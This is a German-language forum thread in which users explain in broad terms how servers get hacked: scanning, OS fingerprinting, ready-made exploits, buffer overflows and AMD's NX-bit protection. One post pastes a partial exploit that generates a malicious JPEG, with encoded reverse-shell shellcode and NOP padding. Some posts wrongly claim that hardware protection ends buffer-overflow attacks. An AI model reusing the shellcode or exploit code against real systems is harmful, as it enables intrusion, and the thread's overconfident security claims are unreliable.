weil ich das grad in nem anderen thread gelesen hab wo wieder irgend n server gehackt wurde.

wie soll man sich sowas vorstellen? angenommen die haben kein riesen loch in ihrem system und n passwort was nich irgendwo im netz stellt.

wie kommt ma da druff wo ein loch sein kann ?

ich will keine genaue anleitung, ich will nur mal die theorie verstehen. weil ich mir das irgendwie nich wirklich gut vorstellen kann.

Genmutant

Einfach mal sehn, was für ein betriebssystem läuft, und dann findet man dazu meist schon genug lücken, die über exploits ausgenützt werden können

easteregg

kann man sowas einfach rausbekommen?

ich mein wenn man das schon unterbindet das man rauskriegt was das für OS ist das problem doch eigentlich schon umgangen oder?

Genmutant

Es gibt aber viele Scanner, die schon fertig im Netz stehen, mit denen das betriebssytem herausgefunden werden kann.
Und wenn mans nicht weiß, hilft nur das ausprobieren von Exploits für gängige OS.

Deepsky

Je mehr Services lauschen umsomehr angriffspunkte sind an einem System gegeben. Je komplexer dieser Service is umsomehr buffer vorhanden die man evtl. overflowen könnte um eigenen code im fremden system zu starten.

wieviele offene lücken in windows xp z.B. noch schlummern möchte ich garnicht wissen *bibber*

Smith

@Deepsky:
Ich bin das Salz...
... in den Wunden dieser Welt...

ich glaube um genau die theorie zu verstehen wie das läuft muss man ahnung vom coden haben. mir ist es z.b. ein rätsel wie man aus den zurückgesandten daten eines os den typ rausbekommen kann. die werden doch wohl kaum immer eine signatur mitschicken.

gunknown

Der Großteil der "hacker" im netz arbeiten mit fertigen scannern, die auf ip ranges nach bestimmten sicherheitslücken suchen. Wird eine ip gefunden wird sie gelogged, und der "hacker" benutzt das entsprechende exploit (den compilierten code, der die Sicherheitslücke ausnutzt) um den server zu kompromittieren. Umgekehrt kann man sich aber auch eine gezielte ip raussuchen und diese auf bekannte schwachstellen hin untersuchen, um dann wieder entsprechende exploits zu verwenden.

Oder man sucht sich selbst eine (bisher unbekannte) Sicherheitslücke, was imo einen wirklichen "hacker" ausmacht (nach der heutigen Bezeichnung....bitte keine Grundsatzdiskussion an dieser Stelle, ihr wisst was ich mein

)

easteregg

und wie funktionieren diese exploits?

Genmutant

Wie man die benutzt oder wie die wirklich funktionieren?
es gibt bereits fertig compilierte exploits, also knopf drücken und fertig.
Meist liegen sie aber als code vor, der erst compiliert werden muss, damit er benutzt werden kann.
Funktionieren: Sie nutzen halt von hackern entdeckte oder schon länger bekannte Sicherheitslücken von Programmen und Betriebssystemen aus.
Da kann man nicht allgemein sagen, wie exploits funktionieren, da das unterschiedlich ist.

Code:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

// Exploit Data...

char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
"\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
"\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
"\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3"
"\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3"
"\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5"
"\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF"
....
for(i = 0; i < sizeof(admin_header1) - 1; i++){fputc(admin_header1[i], fout);}

for(i = 0; i < sizeof(admin_header2) - 1; i++){fputc(admin_header2[i], fout);}

for(i = 0; i < sizeof(admin_header3) - 1; i++){fputc(admin_header3[i], fout);}

for(i = 0; i < sizeof(admin_header4) - 1; i++){fputc(admin_header4[i], fout);}

for(i = 0; i < sizeof(admin_header5) - 1; i++){fputc(admin_header5[i], fout);}

for(i = 0; i < sizeof(admin_header6) - 1; i++){fputc(admin_header6[i], fout);}

for (i = 0; i<1601; i++){fputc('\x41', fout);}

for(i = 0; i < sizeof(admin_shellcode) - 1; i++){fputc(admin_shellcode[i], fout);}


}

if (attack_mode != 3 )
{
for(i = i + j; i < 0x1000 - sizeof(setNOPs2) + 1; i++)
fputc(0x90, fout);

for( j = 0; i < 0x1000 && j < sizeof(setNOPs2) - 1; i++, j++)
fputc(setNOPs2[j], fout);

}

fprintf(fout, "\xFF\xD9");


fcloseall();

WSACleanup();

printf(" Exploit JPEG file %s has been generated!\n", jpeg_filename);

return(EXIT_SUCCESS);
}

Des war ein kleiner Ausschnitt aus einem Exploit.
Also sehr kompliziert.
Genmutant

vmk

wiki.... http://de.wikipedia.org/wiki/Exploit

BillyBear

Ein gutes Programm um seinen Server auf Sicherheitslücken zu checken ist N-Stealth. Ist sehr praktisch

mfg unreality

vmk

Zitat:

Original geschrieben von unreality
Ein gutes Programm um seinen Server auf Sicherheitslücken zu checken ist N-Stealth.

Gegen massig Geld - Geld für genau was? Die haben die Lücken in der Software doch nicht gefunden.

Wenn schon dann http://www.nessus.org/intro.html

soviel ich weiss haben alle amd 64bit prozessoren einen schutz gegen remote code actions durch buffer overflow integriert.
soviel ich gelesen hab funktioniert er in etwa so:
-wenn das 63 bit des prozessors auf 1 steht ist der schutz aktiv
-dann muss noch beim jeweiligen OS die funktion eingeschaltet sein (bei xp und auch linux solls das schon geben)
die hard und softwarehersteller preisen damit das ende der buffer overlow angriffsmöglichkeiten an....
was meint ihr ist es dann wirklich vorbei?

Dialerwatch

Was das reine Herausfinden des OS angeht:
Dafür braucht man bei Servern i.d.R. ja nicht mal Tools, sondern einfach nur: netcraft.com

DWM

@RAFnet

sozusagen ein kontrollbit?
wie soll das funktionieren? die software ist doch trotzdem
manipulierbar...ich mein, ok, ein gedankenexperiment:

noch aktuell:
anwendung läuft normal > speicheradressen werden "richtig" genutzt
anwendung wird angegriffen(floweD) > speicherbereiche werden "verwechselt" (address-stack wird vollgeschrieben,kein re-adresse mehr da, wird also weitergeschrieben (richtig?))

neu:
anwendung läuft normal > 63bit=0
anwendung wird angegriffen(floweD) > 63=1=sperre des prozesses(hardwaremäßig); rücksprung oder beenden des progz; addresse wird geschützt

soweit scheint mir alles logisch.

hmm... wie der FI einer elektrischen anlage stell ich mir das vor. nur wer sortiert das, das der FI reinfliegt? doch wohl die software... oder bin ich da jetzt total auf dem falschen dampfer? bin auf RE´s gespannt.

greetz
DWM

p.s.
gabs sowas nich auch schon gegen mbr viren, nur halt im bios? sozusagen schreibschutz? nur, das problem ist doch das der mbr nicht so beansprucht wird wie die cpu und dessen addieinheit,oder?
interessant...

Genmutant

Hab vor kurzem gehört, dass dieser Schutz bereits umgangen wurde. Genaues
weiß ich aber nimmer. Aber wie immer wird dieser Schutz irgendwann umgangen werden, wie Firewalls und AVprogramme.
Genmutant

vmk

Zitat:

Original geschrieben von DWM
hmm... wie der FI einer elektrischen anlage stell ich mir das vor. nur wer sortiert das, das der FI reinfliegt? doch wohl die software... oder bin ich da jetzt total auf dem falschen dampfer?

Nein, das macht die Hardware und damit kann der Schutz nicht umgangen werden (Nicht mal ein Konstruktionsfehler innerhalb der CPU kann dazu ausgenutzt werden, weil die CPU ja auch noch nachträglich geupdatet werden kann!)

DWM

sozusagen intelligente hardware? und wie funktioniert das ganze, sagmal?

greetz
DWM

@DWM
es ist so wenn das 63.bit auf eins ist ,ist der schutz aktiv.
das 63 bit wird auf logisch 1 per software also vom jeweiligen betriebssystem gesetzt.
dieses schaltung ist dann permanent solange die schutzfunktion nicht wieder über das betriebssystem zurückgenommen wird.

wenn das 63bit auf logisch 1. steht ist es nicht mehr möglich bei
einer anwendung (egal welche) einen Buffer Overflow (Exploit) anzusetzen... dies wird hardwareseitig geblockt.
soviel ich weiss gibts bis jetzt kein heilmittel dagegen.

deshalb auch meine Frage/Vermutung.. das bei flächendeckenden
einsatz der 64bit technologie das ende der angriffsmöglichkeit durch exploits sein könnte...

na ja und wenn schon dann gibt es wieder neue/andere möglichkeiten...

im netz tobt ein krieg und das wird sich wohl nicht ändern...

Ukkupes

Da die Sperrung ja Hardwaremässig aktiviert wird, wird das wohl das Ende der Buffer Overflows bedeuten. Aber nicht von sonstigen Lücken in der Software. Wär ja langweilig, wenn nichts mehr gehackt werden könnte

HackaZ[gB]

eigentlich werden bei einem server alle offenen ports gescannt.
je nach dem auf welchem port welches prog läuft, kann man ein exploit oä anwenden.

portliste mit den zugehörigen programmen findet man im inet.

demonxxl

Laufen die meisten richtigen Server nicht sowieso schon mit 64 Bit (Xeon?) Prozessoren ? Gibt es da nicht sowieso schon hardware-basierte IDS etc. ? Also ich denke nicht das die 64 Bit Technologie bzw. der von AMD integrierte Schutz groß was ändert. Zumal er ja den Angriff erstmal entdecken muss bevor er eingreifen kann....

HackaZ[gB]

Zitat:

Original geschrieben von demonxxl
Laufen die meisten richtigen Server nicht sowieso schon mit 64 Bit (Xeon?) Prozessoren ? Gibt es da nicht sowieso schon hardware-basierte IDS etc. ? Also ich denke nicht das die 64 Bit Technologie bzw. der von AMD integrierte Schutz groß was ändert. Zumal er ja den Angriff erstmal entdecken muss bevor er eingreifen kann....

was ist ein richtiger server?
jeder rechner der ans inet angebunden ist, ist quasi ein server.

vmk

Zitat:

Original geschrieben von demonxxl
Laufen die meisten richtigen Server nicht sowieso schon mit 64 Bit (Xeon?) Prozessoren?

Windows Server mit P3 ist sehr verbreitet - Es kauft sich niemand so zum Spaß einfach mal eben 64Bit-CPUs ohne dafür ein "offizielles" Betriebssystem zu bekommen.

Und wer sowieso schon wenig Ahnung hat, der kauft sich seine Webserver, etc bei Microsoft ein.

demonxxl

Naja ich gehe davon aus , dass der Threadersteller eher auf das Hacken richtiger großer Webserver (Unternehmen etc.) anspielt und nicht auf Privatanwender oder private Rootserver etc. !?

Anzeige